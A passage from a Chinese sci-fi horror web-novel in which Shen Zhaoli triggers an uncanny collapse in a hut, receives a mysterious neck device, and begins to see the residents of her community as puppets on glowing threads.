还饱含深意地笑了笑,笑完就缩在塌上闭目养神。
只有安宁将她即将触碰光源的那只手拉住。
蹙紧眉头对她重重地摇头道:“别碰!”
“不知道为什么,我感觉它有危险,你别碰它了!”
沈昭黎愣住,这是安宁第一次如此抗拒一个东西,她还以为她一向是什么都不会拒绝的。
她转头看了看炉中的光源。
但是!
她的身体,怎么一点都不怕!
反而自己还挺想摸摸看的!
“没事!”沈昭黎搭在安宁手上,安慰道:“我倒是很想摸摸,你不想靠近它,你离它远点就行!”
沈昭黎将安宁的手挪开,伸出手,指尖一点一点的慢慢靠近那团光源。
而陈舒仍悠然地靠在躺椅上,仿佛一切都在他的意料之中。
安宁本能的用双手捂住自己的眼睛,但仍不肯离开,只是就这么蹲在沈昭黎的旁边。
若是有什么事,她可以直接拉开她。
安宁总觉得这团光源很危险,会将她的身体撕碎,但自己却对这团东西一无所知......她自己也从未见过,但却总想离它远一点。
沈昭黎一步一步、一点一点的慢慢靠近,她的脑子莫名开始变得抗奋。
她甚至希望壁炉里的光源越亮,越大!
五十厘米......
十厘米......
一厘米......
她,身体逐渐靠前,黝黑的瞳孔里倒映着熊熊发光的黄色光源。
指尖触碰到光源的霎那......
5. 是她坏了吗? 滴——
滴——
【警报!警报!用户即将开启自毁模式,是否阻止!】
【警报!警报!用户即将开启自毁模式,是否阻止!】
【警报!警报!用户即将开启自毁模式,是否阻止!】
就在沈昭黎指尖触碰到光源的霎那,房屋、地面开始发生剧烈的震动。
小屋的墙壁忽然攀爬着大量黑色裂痕,像蠕动的触手、无节制的蔓延。
很快,触手很快就将整个小屋包裹住。
小屋陷入了黑暗中,窄小的房子里令人窒息。
一条黑色触手蔓延到头顶的钢架,传来“吱呀”的摇晃声,空中的提示音和警报器,也无休止的麻木重复......
霎时,钢架上的一盏光源垂直坠入壁炉中,“啪”的一声,发出巨响。
小屋瞬间光斑四射。
壁炉中的亮光也开始视若无睹的膨胀,将整间屋子裹在其中,转瞬又黯淡下去。
机械提示音不知疲倦的在亮光冲天的屋子里重复,鲜红的指示灯闪烁在各个角落,像一只只血红闪烁的眼睛。
“别碰它,快走!”
安宁最先反应过来,条件反射般抓住沈昭黎的手,却发现她早已和她不处于一个水平线。
她身体竟然如失重般,脚尖缓缓离开地面,身体悬浮于空中。
一向如机器般强壮的身体,边缘处竟隐隐泛起了蓝光。
而那些堆积在肢体边缘处的蓝白光斑,竟然在一点点的消散。
她望着自己消失了半截的掌心,喃喃道:“这是要被系统回收了吗?”
躺在躺椅上闭目养神的陈舒,蓦地睁开眼。
跟个没事人一样,冷静起身,走到墙壁的横栏前,将堆放在架子上的透明丝线团在手中。
然后走向壁炉,将手中的透明丝线,扔进了壁炉里。
然后半蹲下身,浑浊的眼睛如同两盏灯泡一样,盯着那团透明丝线。
神情冷漠,举止怪异。
而被光源吞蚀的透明丝线在炉内发出“滋滋”的灼烧声,断裂的身体开始往外渗蓝色的乳液,像即将被人类拧死的蚯蚓般,在炉内拼命扭动自己断裂的身体,做出最后挣扎。
一眨眼的功夫,壁炉凹槽就已呈满了蓝色粘稠液体。
“沈昭黎,那......那是什么!”安宁突然抬手指向陈舒,示意她往那看。
安宁看着那副画面,指尖止不住的发颤:“她...她好像在融化!”
沈昭黎顺着她的视线望去,场面极其诡异。
白千的躯体半凝固在地面,如同一尊被固定的蜡像。
身体似被高温融化了般,迅速瘫软。
她的眼睛凸出眼眶,眼球“啵”地一声掉在了地上,却仍死死盯着陈舒的背影。
令人毛骨悚然的是,她的身体竟以肉眼可见的速度软化、塌陷,就像一支人形蜡烛。
最先是额头,苍白的皮肤泛起一层蓝色荧光,头发如遇高温般迅速烧成了齑粉,浓稠的蓝色液体最先从融成一团的脑袋渗出,然后顺着塌陷的五官蜿蜒而下。
短短几分钟,整个头颅也开始瘫软,像一团不断融化,往下不停滴落蓝色液体的冰淇淋球。
整个房子怪异至极。
白千的身体如燃烧的蜡像般融化,黏稠的蓝血顺着塌陷的肢体滴落。
地上掉落的眼珠子的瞳孔盯着陈舒的背影转动,融化的身体在地板上积成一滩不断扩张的蓝色液体。
而另一边,陈舒趴在唯一的光源前,机械地抓起手中的透明丝线,扔向那团刺眼的光,光源吞噬了丝线。
随着丝线的增多,屋内的温度也越来越高,黄色的光源也膨胀的也越来越厉害。
而沈昭黎的身体悬空在地面,四肢无力地垂落,皮肤从指尖开始一点点分解成灰白的尘埃,像被风吹散的沙画,表情平静得可怕。
整栋房子被蠕动着的黑色藤蔓覆盖,它们像活物一般缠绕、收缩,墙壁在它们的绞紧下发出骨骼断裂般的呻吟。
而在这片黑暗之中,唯独那团光源刺眼得近乎暴烈,像是某种不可名状之物的瞳孔,冷冷注视着一切。
空中,警报器尖锐地嘶鸣,却无人在意。
“好了,好了!”
陈舒原本浑浊的瞳孔忽然亮了起来,动作也逐渐癫狂,嘴里絮絮叨叨咕囔着什么:“成了,成了!这次真的要成了!”
他将干瘪的手插进光源中,颠来倒去地像是在翻找什么物件一样。
沈昭黎从空中往下看去,他的手掌早已被那光源照得发黑,皮肤皲裂翻卷,仍机械地在里面翻找着。
瞳孔在火光中缩成两个漆黑的点,看不出神情。
“成了!成了!”
陈舒忽然直起身子,焦黑的手里仿佛小心翼翼的捧着什么东西,朝沈昭黎的方向迈了几步。
安宁突然警戒挡住他的去路,冷冷警戒:“你要干什么?”
陈舒身子一愣,解释道:“我要救她...”
安宁显然不信,双臂张的更大,迈着步子向他紧逼:“那女人都化成水了,也没见你去救她,你跟沈昭黎只见过一面!”
“你凭什么救她?你到底要干什么!”
陈舒没有理她,看了手心的东西一眼,又冷冷的看了安宁一眼,径直朝沈昭黎走去.
奇怪的是,过了两秒,原先还精气十足的安宁,如同被断了电的机器人,瞬间失去了所有的力气,瘫软下去。
“砰——咚”的一声重重的摔在了地上,发出一阵钝响。
“安宁?安宁?”沈昭黎看着倒下的安宁,想要去扶她,却发现自己被困在空中,无法动弹。
只能急切的唤着安宁的名字,却无人回应。
她的瞳孔转向陈舒,竭力嘶吼道:“你对她做了什么?她为什么又不动了?”
陈舒没有理她,走向她的身后,在他靠近她身体的那一秒,沈昭黎突然发现自己失重的身体竟然奇迹般的有了重量,“哐当”的一声,砸在了地上。
由于忽然有了重量,她还来不及调节自己的姿势,膝头垂直落地,右臂关节也“吱嘎”的扭曲了一下。
沈昭黎也顾不上什么,伸出只剩半截的手掌,试图翻起身来。
手掌在布满蓝色液体“滋滋”摩擦、打滑了两次,才勉强撑住身体,起身时腰椎发出“咯噔咯噔”的异响。
就在她苦苦挣扎之际,她突然感觉有什么东西被嵌入了她的脖颈处。
正在她准备转头去看时,她的另外半截手掌,突然奇迹般的长了出来!
脑袋顶上忽然传来陈舒的声音,原先嘶哑的声音此刻竟然开始卡顿:“我们......要……走了!”
沈昭黎愣住,她才懒得管他走不走。
她两只手掌撑住地面,从地上一跃而起,想向他问个清楚,今天发生的种种,到底怎么回事?
可她起身后看到陈舒的瞬间,话未说出口,她的瞳孔骤然收缩,被眼前的一幕惊到。
陈舒不知何时被一道蓝色的光斑裹在其中,像是某种粘稠的液体。
而他大半个身子早就已经消失不见,只剩胸口以上半截躯体,从腰腹往下,躯干、双腿全都在那诡异的蓝色液体中溶解,仿佛正被某种无形的力量凭空抹去。
仅剩胸口以上半截躯体悬浮在空中,像一尊被拦腰斩断的雕像。
他颤抖的抬起手指着她的脖子,唇瓣翕动道
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:“这是白千留给你的......”
沈昭黎顺着他指的方向,摸向自己的后颈,不知道什么时候,那里竟凸起了一个盒形的按钮,小小的、硬硬的。
“这是什么?”沈昭黎疑惑,眼神看向白千站立的地方。
那里只剩下了一滩摊蓝色的液体,正在被膨胀的光源所吞噬。
“她为什么要给我这个?”沈昭黎脑子里浮起陈舒口中的女人。
那个不说话,眼球如突出的灯泡一样,紧盯着陈舒的女人。
从她进屋到现在,她们两个没有说过一句话,也没有任何交集,她给她这个干嘛?
而此时的陈舒,脖颈以下全都被蓝色的粘液吞噬,只剩下一颗光秃秃的头,像被一根透明的丝线悬吊在空中。
但一双浑浊的眼睛居然像两只超大瓦力的大灯泡一样,炯炯发光:“这次她成功了!”
沈昭黎:......谁?谁成功了?
说实话,如果不是这个场景说这话不合适。
她真的很想把陈舒的脑袋当球踢......这人老是说些听不懂的话。
沈昭黎接话:“谁?白千吗?”
悬浮在空中的陈舒,摇了摇仅剩的头:“不,你会知道的,我们在上面等你!”
上面?沈昭黎往天花板看去。
他说的,是大片被黑色藤曼挤压成碎片的砖头块?还是天花板上摇摇欲坠的钢铁架?还是一直闪个不停的红色警示灯?
如果上面是这样的话,她觉得她老老实实在下面呆着也挺好......
沈昭黎指了指天花板,试探道:“你说的上面......是...这这个?”
沈照黎盯着陈舒半截脑袋,和他那一双炯炯发光的眼珠子——如果那还能称为陈舒的话。
陈舒的瞳孔往天花板上转了一圈,消失的嘴巴散出几声断断续续的电子杂音声:“不...不不,你死了以后......就知道了!”
沈昭黎:……
她愣住,随即气笑了:“......我就是死不了,我才问你的。结果你告诉我......死了以后就知道了?”
陈舒的声音逐渐消失,混杂着丝丝电流音。
“......你...脖子后面的发生器能帮你,三.....三次.......使用”
“机......会...”
话音未落,沈昭黎还没反应过来。
陈舒就完全消失了,小屋一瞬间恢复了以往的平静。
四周诡异的寂静。
沈昭黎朝四周看去,瞳孔剧烈收缩。
这……这……
墙面上那些蠕动的黑色藤蔓触手忽然消失得无影无踪,仿佛从未存在过。
壁炉里的灯光静静摇曳,投下温暖的黄色光芒。
更令人毛骨悚然的是,那盏本该摔得粉碎的光源灯,此刻竟完好无损地悬挂在天花板的钢架上,连一丝晃动的痕迹都没有。
空气中连一丝尘埃都未惊动。
就好像...刚才那场惊心动魄的异变,从来都只是她一个人的幻觉。
而陈舒悠然地躺在躺椅中,紧闭双眼,一旁的白千站在他的身边,那双眼睛依旧如常,死死的盯着躺椅中的陈舒打转。
安宁蹲在她的身边,蹙紧眉头对她重重地摇头道:“别碰!”
她抬头望去,自己竟如刚才般,蹲在光源旁,想要靠近那团光,距离只剩几厘米!
她转头环顾四周,一切平静如常。
这是怎么了?
沈昭黎瞳孔忽然一亮,跟想到了什么似的,伸出手去摸自己的后脖颈。
那里凸起了一个盒形的按钮,小小的、硬硬的。
6. 这好像是个按钮!
沈昭黎摸不着头脑,她不知道刚才发生的一切是假。
如果是真的,那么现在这屋子里的一切算什么?如果是假的,那她脖子上的零件又是哪来的?
她转过头去看向躺椅上的陈舒,他将皱皱巴巴的身体蜷成一团,悠然自得的躺在椅子里,哪有刚才那副面目狰狞的样子......
视线又落在一旁的白千身上,还是跟见到她第一面的那样,安静地站在一旁。
眼睛像个会旋转的监控摄像头,固定在眼眶里,但是眼球却一直围着陈舒打转。
难道,是她真的想多了?
【沈昭黎,您好!浮光社区模范表彰大会即将开始,请您做好准备,系统将在三秒后跳转到浮光社区玫瑰广场!】
不知道什么时候,系统仿佛被解除了禁制,凝滞的时间也重新开始流动。
也就在这一刻,那阵熟悉的系统提示音在她耳边响了起来。
她低头看了一眼腕上的电子手环,上面的时间精确的显示着【10:00】。
确实是到了去玫瑰广场参加模范表彰大会的时间了......
系统也容不容许她有思考的机会,周围一切迅速变换,如同被拆散了地拼图般,哗哗啦啦的往下坠。
她眼睛扫视着周围一切,心中不自觉的又在倒数。
【三!】
【二!】
当她默数到“一”的一瞬间,她条件反射般地猛然睁大双眼,瞳孔中映出小屋最后的轮廓。
她深深吸气,尽力将眼睛睁大,试图通过那两个黑眼珠,将这里的每一寸光影、每一缕气息都镌刻进自己的记忆中。
那些颜色怪异的向日葵,吱吱呀呀的钢铁架......还有不会只会围着陈舒打转,木讷如假人般的白千,此刻却化作不舍的丝线,缠绕着她的心头。
她忽然意识到,自己居然有些不想走!
多么新奇啊!
这是她在浮光社区第一次有这种感觉。
虽然她不知道方才发生的一切到底是真是假,但那些都不重要了。
如果不出意外,她打心里觉得,这应该是她最后一次来这了.....
蓦地,小屋红色的墙皮开始脱落,屋中开始家具如坠落海底的般下沉。
天花板上高耸入云的灰色钢铁建筑,如同巨物般,“哐”的一声垂直坠了下来。
大量密集的霓虹大厦随着场景的变化倾泻而下,将她和安宁牢牢套在其中,镶嵌的在大厦楼盘上的巨型霓虹广告牌恨不得闪瞎沈昭黎的24k钛合金狗眼。
远处的场景落地,近处的视野也开始逐渐清晰。
她环顾四周,最先映入眼帘的是一个巨大的圆形场馆,而她和安宁正站在在场馆的内圈的一阶站台上。
此时,一条环形闪着蓝色荧光的全息投影星轨在天上缓缓流转,无数悬浮的看台呈圆形向圆心聚拢,向着圆心聚拢的一层层的环形看台上坐满了形色各异的观众。
“各位浮光社区的住户们好,欢迎来到玫瑰广场,参加第99届浮光社区模范表彰大会,而我是此次浮光社区模范表彰大会的主持人——周启,想必大家对于我并不陌生.....”
“咳咳、咳”
那主持人故作严肃地清了清嗓子,装模做样地用甩在地上的手,提了提他领前的蝴蝶结。
沈昭黎忍不住盯着那主持人,又多看了两眼。
那主持人,不,周启,她总感觉这个人长得有点别扭。
她上下打量了他一遍,最后视线笃定的落在他的瘫在地上手臂上。
她就说这人怎么看都怪!
他手臂长的恨不得绕她三圈!
长就算了,还又细又长......手臂甩在地上跟安宁每天早上吃的面条似的,就这么赤裸裸堆在了展台上。
一向对什么都不关心的她,都觉得此人有点......影响观感。
那主持人忽然将手臂甩向了空中,手臂随着他抖动的幅度空中随意变化。
“隆重介绍一下,本人——周启,即是此次颁奖大会的主持人,也是每日晚间6:30-6:45娱乐档的主持人......”。
待他话尽,巨型展台上方的肉色的手臂,如同绳子般在空中拧了好几个结,忽然拧成了连笔的“周启”的二字。
最诡异的是,“启”字上方的那个点,居然还是用他的手掌代替的......
展台底下一阵爆鸣声,有鼓掌的、呐喊的,络绎不绝......
沈昭黎:......嘴角无奈地笑了笑。
她好不容易来这么久,昨天没翘班,勤勤恳恳地完成了工作。
结果这奖励的晚间娱乐时间,就让她看这个长臂人主持人?
得,以后这班,她该翘还得翘。
“停!”
周启一声令下,四周忽然安静了下来,他“嗖的”一声收回了手臂。
眼见气氛已经到这了,他又对着量子共振话筒喊了一声:“此次浮光社区表彰大会正式开始!”
蓦地悬浮台空中忽然飞来两个圆形大音响,随着音乐的节奏一起伸缩、摇摆。
而音响下方的周启正在手舞足蹈,像是强组上去的四肢正随着上方传来的电流声律动,面条肉臂在空中变化成不同的图案。
电子话筒发出的声音经过建筑内部的声场增强系统,形成层层叠叠的声浪:“第99届浮光社区模范表彰大会的社区模范到底会花落谁家呢......”
“让我们拭目以待......”
沈昭黎面对这副混乱的场景,愣在原地。
她像个柱子一样杵在那儿,与周围手舞足蹈的人群格格不如。
她甚至都觉得远处的霓虹大楼也在跟随节奏不停地摇摆、震动。
她站在原地愣神,现在她是不是应该跟着她们一起扭动起来?
不过,这好像但也没什么值得她如此兴奋的吧......她手足无措地打量着周围的人群。
有的站在原地蹦跶,恨不得要直冲云霄。
有的人相互围成一团,围成圈圈原地打转,速度快的恨不得冒了火星子,有更兴奋着甚至直直冲上了悬浮台。
沈昭黎望向了悬浮台,此时悬浮台上周启的胳膊已经被几人,原地拉的笔直,跟铁杆子似的手臂竟悬空着挂了好几个人头!
那悬空的人头竟还在朝着观众微笑!
场面混乱至极。
你还别说,这社区凝聚力还挺强,就选一个社区模范入选者。
每个人都还挺重视,不仅都打扮得花枝招展的,还给足了入选者的面子,一个个都热情洋溢、笑容满面的。
她低头看了看自己身上深灰色的的工作服,除了自己确实有点...
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...邋遢了,其余人都还挺给力。
她侧头望了眼旁边的安宁,不知道什么时候,这丫头居然背着自己换了一身衣裳,现下穿了一件白色的小礼服。
简约的剪裁勾勒出她纤细的轮廓。
白皙的肌肤与纯净的白色丝绸相映,整个人仿佛笼着一层柔光,褪去了平日那件花哨工作服的张扬,反倒多了一种内敛的优雅。
“有请,我们这届社区模范代表......”
就在沈昭黎偷瞄安宁的时候,周启的声音经过量子声场增幅,在天上回荡出金属质感的回音,但沈昭黎对这个模范人选,一点兴趣都没有。
她又好奇的打量四周人群,余光撇过广场上的座位,细细的望去,惊奇的发现,如此大的场馆,果真无一虚席,她还以为她刚才看错了,漏掉了虚座。
沈昭黎站在阶梯上,感觉到背后有人在注视她。
她转头往后看去,正对上一张男人的脸。
那男人正坐在她的后方,眼睛直勾勾盯着她,一言不发,也不知道在看什么......
沈昭黎以为是自己挡着他的视线了,往安宁边上挪了挪,便没再管。
结果那人的视线还是一直落在她的身上,她又转过头去,不耐烦道:“你在看什么呢?”
忽然那男人眼睛忽然一亮,嘴角向上咧了咧:“你的脖子......”
“上面有....有东西!”
沈昭黎这才反应过来,他说的是发生器。
沈昭黎抬手轻轻拂上了发生器,声调稍稍低了些:“哦!不过是一个小零件,谢谢你的关心!”说完便将头收了回来,指腹拂上脖间那个发生器。
她不知道发生了什么,她今天早上的记忆竟然完全想不起来,并且自从她到玫瑰广场以后。
“......你...脖子后面的发生器能帮你,三.....三次.......使用...机会......”
“......你...脖子后面的发生器能帮你,三.....三次.......使用...机会......”
这句话三秒一循环,一直回荡在她耳边,久久不散。
她指腹抚摸着那男声说的发生器,摸起来不大、有点硬。
之前安宁也在积分库兑过一个一模一样的,跟这个一样。
但她可以肯定那个声音绝不是安宁。
她摸着发生器,回忆起那句话:“这小玩意能帮我?能帮我什么......”
她的指腹从发生器边缘处,慢慢摩挲到发生器中间区域,指腹忽然一顿。
好像在这块区域感受到了轻微地回弹!
这中间区域好像是一个按钮!
按下去,会发生什么?她不知道。
不过就这小零件,能拿她怎么样?
沈昭黎指腹摩挲那块微弹地区域,毫不犹豫的按了下去,脖颈间发出“吱”的一声机械转动的东西。
一瞬间,一阵电流从它的脖颈处蹿了上来,直冲她的颅内。
沈昭黎闭着眼睛,老实巴交的坐在悬浮阶梯上。
一秒、两秒、三秒,什么都没发生。
果然,她就说!它长得跟个安宁的那个一样,能有什么稀奇的?
沈昭黎扯了扯嘴角,漫不经心地睁开了眼睛。
蓦地,眼前出现地一切......
7. 究竟…谁坏了?
一阵强光从空中刺了过来,恨不得将沈昭黎的眼睛给烧的焦灼。
她下意识的低下头,试探性地眯了眯眼,又反复轻轻睁开,重复几次后。
直到眼睛再没有灼烧痛感后,才缓缓将半眯着的眼睛睁开。
最先映入沈昭黎眼帘的是悬浮台上的盛况。
方才周启如面条般的手臂不知道变短了,原先展开的长臂,取而代之的竟是一群人手拉手开幕的场面,先前还悬在空中的人头竟然此刻都有了身体!
虚浮的悬浮台不知怎的竟变成了实心,而台上的观众,正手舞足蹈站在展台上面向席下观众。
沈昭黎呆愣在原地,手足无措,甚至不敢相信自己的眼睛。
不对!她一定是看错了!
她猛地闭眼,使劲的眨了两下。
她怎么会犯如此匪夷所思的错误,竟将一排人看成了周启细长手臂?
她双眸忽然睁开,视线射向展台,而此刻展台上仍旧是一群人,正在台上载歌载舞,没有丝毫变化!
她揉了揉眼睛,难道她之前真的看错了?
忽然,不知哪里出现了一阵反光,将她的眼睛晃了一下。
她下意识地紧闭双眼,本能地抬起手臂遮挡那束突如其来的强光。待她再度睁眼时,那道光已然消逝得无影无踪,仿佛从未出现过。
她循着方才光线的轨迹缓缓看去,目光如被某种力量牵引般,最终定格在不远处的展台某一个穿着粉色裙子的小女孩的头顶上。
小女孩头顶忽明忽暗,仿佛粘着什么东西在隐隐发光。
她盯着小女孩头顶看了半晌,忽然发现那小女孩头顶竟然缠着一根会发光的透明丝线!
那丝线细若游丝,若不是上面黏附着几滴荧光色的蓝色乳液,在微微发亮,她根本不会注意到它的存在。
那是什么东西,她怎么没见过?
沈昭黎下意识的环顾女孩四周,朝着展台所有人扫去。
一看竟然不知道什么时候,展台上的所有人头顶,竟都缠绕着一根透明丝线。
那些丝线在光照的折射下若隐若现,如同提线木偶的操纵线一般,密密麻麻地从天花板垂落下来。
此刻所有浮光社区的居民如同一个个提线傀儡般,被天空上垂撒下来的丝线操控着。
她顺着其中一人丝线垂落的方向,向上望去。
那些晶莹的丝线无声无息地掠过每个人的发梢,在空中中闪烁着蓝色微光。
它们不断向上蔓延、交织,最终在苍穹之上编织成一张巨大的白色蛛网。
那网越张越大,遮天蔽日,将整个浮光社区笼罩其中,仿佛要将这片天空下所有的人类都困在这张无形的罗网之中。
不仅如此,那些晶莹的丝线表面还覆满了幽蓝色的黏液,在阳光下泛着诡异的荧光。
黏液如同某种未知生物的唾液,黏稠得拉出细长的丝线,在半空中凝成水珠状缓缓坠落。
然而怪异的是这些蓝色液滴下坠到某个高度时,就像被无形的空间吞噬一般,突然消失得无影无踪,连一丝痕迹都不曾留下。
沈昭黎微微眯起眼睛,目光如刀锋般锐利地刺向丝线交织的节点。
透过蛛网般细密的缝隙,她惊觉这些丝线的尽头并非全部悬于空中。
那些晶莹的丝线分成两路:一部分在空中编织成遮天巨网,另一部分则像是被某种不可见的力量牵引着,延伸向......
那个方向......
是浮光花圃!
它们朝着浮光花圃去了!
沈昭黎瞳孔猛地收缩,忽然想起来了些事!
浮光社区、浮光花圃、透明丝线、蓝色粘液......
沈昭黎猛然醒悟,难不成......浮光花圃里圈养的,是他们自己?
它们不仅连接着相同的丝线,而且都有蓝色粘液。
蓝色粘液......
镇定剂!是镇定剂!
所以她们浮光社区就是浮光花圃?
浮光花圃里圈养花朵是她们自己?她们自己圈养自己?
沈昭黎眼睛呆滞,呆呆地愣在原地,不敢相信脑海里的一切。
她双眼不可置信地盯着四周移动的人类,眼眶里忽然闪过一束蓝色光束,稍纵即逝,她下意识的去挡,以为又是哪个人头顶上透明丝线上的反光折射。
她重新抬头看向浮光社区人,此时此刻眼眶中的人群如同开了播放键的电子显示屏一样,机械地放映着她们的日常:有人低头拍手叫好,有人开心的笑着,还有人冲上展示台给周启一个大大的拥抱,将手中的机械花束送给他。
他们的表情自然,动作流畅,完全没有意识到自己正被这些诡异的丝线所控制。
那天空中荧光蓝色的乳液也偶尔从丝线上滴落,但在触及地面的瞬间消失无踪,仿佛从未存在过。
这浮光社区的居民,怎么可能是被操控的人呢?
她们明明笑的如此开心?哪里像是被操控了的样子。
如果是浮光花圃那些机械花束是她们,她们将自己送自己?
还是.....说,她们本就是机械人?送些同类的机械花又有什么奇怪的?
那么,安宁!
沈昭黎忽然转头看向安宁,视线直勾勾的落在了她的脑袋后方,她头顶上那根透明丝线赫然醒目。
沈昭黎瞬间如遭电击,一阵说不出的感觉油然而生。
她呆呆地看着坐在阶梯上看着前方的,轻轻唤她:开口“安宁?”。
“怎么了?”
被沈昭黎打断了思绪的安宁忽然偏过头来,朝她笑了笑,不知道是不是有着装加持的原因,沈昭黎觉得,今日的安宁,格外不一样。
“没事!.....”
沈昭黎摇了摇头,将头别了回来,试图躲开她探究的视线。
“就是觉得你今天很不一样......”沈昭黎话音一转,将话题别了过去。
如今她也不知道方才看到的孰真孰假?或是全部都是假的?
所以她不能告知安宁。
安宁,看到她不想说,也没有再追究,只是将头扭了过去,再次沉浸于周启的表演秀中。
忽然,沈昭黎仿佛想起来什么一般,手指快速攀上自己的头顶。<
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头顶上,空无一物。
出于她长期为玫瑰花圃修理透明丝线的了解,这透明丝线应该是实体的,所以,她应该是正常的。
她轻微瞥了瞥头,偷偷的打量落在了安宁头顶的透明丝线,但动作幅度较小,安宁并没有太注意。
她盯着那根该死的透明丝线发呆,她不明白这一切究竟是怎么回事。
“滋滋”
一阵电流音从沈昭黎耳边响起,强行打断了她的思考。
她突然条件反射的抱着自己的脑袋,将身子缩成一团,蜷在阶梯的狭窄座位上,准备再一次面对系统突如其来的警告。
“系统又提醒你了?”安宁被她突然的动作打断,立即摊开掌心,准备像往常一样凝聚出镇定剂。
时间在寂静中流逝,过了良久,却什么也没有发生。
那些熟悉的数字马赛克没有如约浮现,颅内也没有响起刺耳的声波预警。
“不对……”她喃喃自语,声音里带着前所未有的迟疑,“这次的感觉……完全不一样。”
一条蓝色光束从沈昭黎视线中闪过,一条、两条、三条,逐渐变多,最后竟如蓝色的荧光如流星般在她的视线中乱窜,忽然又一声“滋滋”的声波从她耳边传来。
蓦地,沈昭黎的视野像是被骤然拉下的闸门,瞬间陷入一片绝对的漆黑。
与此同时,周遭的一切声音全都静止、凝固、而她也完完全全陷于无边无际的黑暗之中。
然而这死寂的黑暗仅持续了一瞬。
下一秒,她的视觉如同故障的屏幕,无数闪烁的数字马赛克从视野中心迸发,由模糊到清晰,由近及远地飞速拼凑、渲染,“世界”的一切又重新被钉回了她的眼前。
直到再次睁开眼,此刻的场景再次让她死机在原地。
“肉条版”的周启、虚拟的悬浮台、没有身体但悬在天上的人头,以及此前看到过的一切再一次出现在她眼前。
此刻,她已经搞不清哪个画面是真的、哪个是假的?
既然方才“拉手”的周启是对的,那现在她看到的“肉条”周启又是什么?
又是她的错看?若是一次她暂且算是错看,但是怎么会两次都接连看错......
自从她今日来到玫瑰广场时,她就觉得一切都似乎不太对,但她总是说不上来。
比如,她总觉得自己好像忘了什么,但自己怎么也想不起来到底忘了什么!
起初,她竟将那群手拉着手的人影,错看成了一只扭曲的、长的像肉条的巨型手臂,而那只属于“周启”的手臂,竟像翻花绳一样的在悬浮台上进行表演。
紧接着,她再将那些低头弯腰的身影,在视野里不断晃动的坍缩、变形的头颅。
看成了一颗颗脱离脖颈、悬空漂浮的头颅。
然而此刻,眼前清晰无比的景象却正尖啸着告诉她一个骇人的事实:她方才的“矫正”全是徒劳,那最初闯入眼帘的、令人窒息的恐怖画面,才是这个世界赤裸裸的真相!
巨大的认知裂痕在她脑中崩开,一个疑问在她颅内疯狂滋长,究竟是她坏了,还是这个世界……坏了?
8. 你的意识里有什么?
次日,6:00:00
沈昭黎忽然从阳光房中醒来,眨了眨眼。
照常望了望从窗外,射进床单上的黄色光斑。
她伸出手掌,想截住那束阳光,光线停滞于她的掌心前戛然而止。
她望着自己掌心里攥着的那束金黄色,忽然从床上一跃而起,径直走向卧室门。
一瞬间,右手手臂上忽然凭空浮起了她的白色电子手环,准确无误的箍在她手腕上,而眼前的景象也突然从卧室转向了浴室。
沈昭黎看向浴室镜子底端的电子显示屏。
鲜红的【06:03分:23秒】正在黑色的显示屏上跳动着,明明只是从床上翻起身,径直走出了卧室,这期间她什么也没有干,三分钟就这么悄无声息的过去了!
就跟昨天她去玫瑰广场后的记忆一样,凭空消失了......
自从昨日那两幕情景之后,沈昭黎的记忆便陷入了漫长的空白。
具体发生了什么,他完全不知情。
待到意识再度清晰,就是今日清晨6:00。
今日,她真的没什么心思再与系统玩“谁操控谁?”的游戏了。
经过昨日那一遭,她不知道自己怎么了,昨日后续记忆全部失踪,却唯独留下了那两幅怪异的场面在她眼睛里交错,像是被人强制贴在她视网膜中,自己根本无权干预。
她如同傀儡般被系统送进浴室,洗漱、整理......
直到门铃忽然响起,沈昭黎的心中才泛起了一丝波澜。
“咚咚咚...沈昭黎...咚咚咚......”
她听着门外熟悉的节奏,三扣一呐喊,是安宁。
比起之前,她今天是如此的想见到她。
她很想知道昨天后半段发生了什么?
想知道为什么她对昨天的记忆一片空白?
想知道为什么自己一睁眼又是崭新的一天?想知道安宁是否是自己在错乱的画面中看到的那样?
尽管她不知道安宁的话是否可信,但这是安宁是她唯一的线索了!
沈昭为安宁开了锁,将往日的固定流程一一走完,空间便跳转到了客厅。
此时的安宁如同往常那般,正笑着坐在她的亚麻沙发上,怀中抱着一束机械花,依旧还是三朵机械康乃馨和两朵机械向日葵。
沈昭黎的目光轻轻落在正抱着机械花、笑容灿烂的安宁身上,她静默良久,终是几不可闻地叹了口气。
她不能……
她不能因为自己让安宁被系统警告。
思考再三,觉得一步步小心试探,从旁侧敲侧击地向安宁提些无关紧要的问题,既不惊动她,更不将她牵扯进这片深不见底的漩涡之中。
沈昭黎走向餐桌,这次的早饭她并没有选择平日的三明治,而是选择的是安宁前些日子给她兑换的混沌。
碗里大概飘了十多个鲜肉小混沌,汤面上浮着一层油花和几片葱花。
她抬起眼,目光看向坐在沙发上的安宁,又低头看了看自己的碗,动作刻意又带点生涩,想引起她的注意。
没错,她是故意的。
她希望能在系统的管制下能让安宁能主动带她去系统的物品兑换处,因为她这人一向没什么需求,系统又不会主动带她过去,所以她从始至终都没去过,也不知道如何前往。
她一时想不出更好的理由,只好用这样笨拙的方式,让安宁带她一同前往。
她昨日所有的一切皆源于她脖子后面的发生器,而浮光社区的一切物件来源都来自系统的兑换处。
或许在那......她能找到一丝线索。
“嗯,沈昭黎同志,今天怎么想起吃馄饨了?”安宁不知何时已从沙发上起身,走到沈昭黎对面的餐桌前坐下,眼中带笑的望向她,看起来心情似乎不错。
虽然,安宁好像没有心情不好的时候。
在安宁注视下,沈昭黎拿起搭在碗边的小汤勺,舀起一颗恰好浮在汤面的小馄饨,轻轻沥了沥汤汁,送入嘴中。
“怎么样?很鲜吧?”安宁眼梢弯起,目光落在沈昭黎微微动着的唇角。
沈昭黎眼珠子盯着碗里浮动的小混沌,一颗一颗,长得很是标准,仿佛是从一个模具里做出来的一样。
听安宁如此说,沈昭黎又出碗中,捞出一颗来带着葱花的小混沌,咀嚼了两下。
继而抬眸,视线落在安宁求夸的脸上,也不知道是否是故意找茬,淡淡的回应道:“没什么味道,哪有你说的那么好吃。”
“怎会?”安宁蹙眉,听闻沈昭黎质疑她的品味。
风风火火的从她手中夺过汤匙,从碗中快准狠的捞出一颗,塞进嘴中。
“烫烫烫……”
安宁被烫的猛地从凳子上跳起来,赶紧将馄饨吐回勺中,一边用手扇风一边皱眉问:“你不烫吗?”
沈昭黎闻言一愣,摇了摇头:“没有啊。”
她语气平静,甚至带点茫然,“可能……是我比较能吃烫?”
安宁缓过劲来,偷摸嘀咕道:““果然……是...进过锈蚀花牢的人......”
继而又忽而抬眸,满脸期冀的盯着沈昭黎的脸看,“你不觉得好吃吗?”
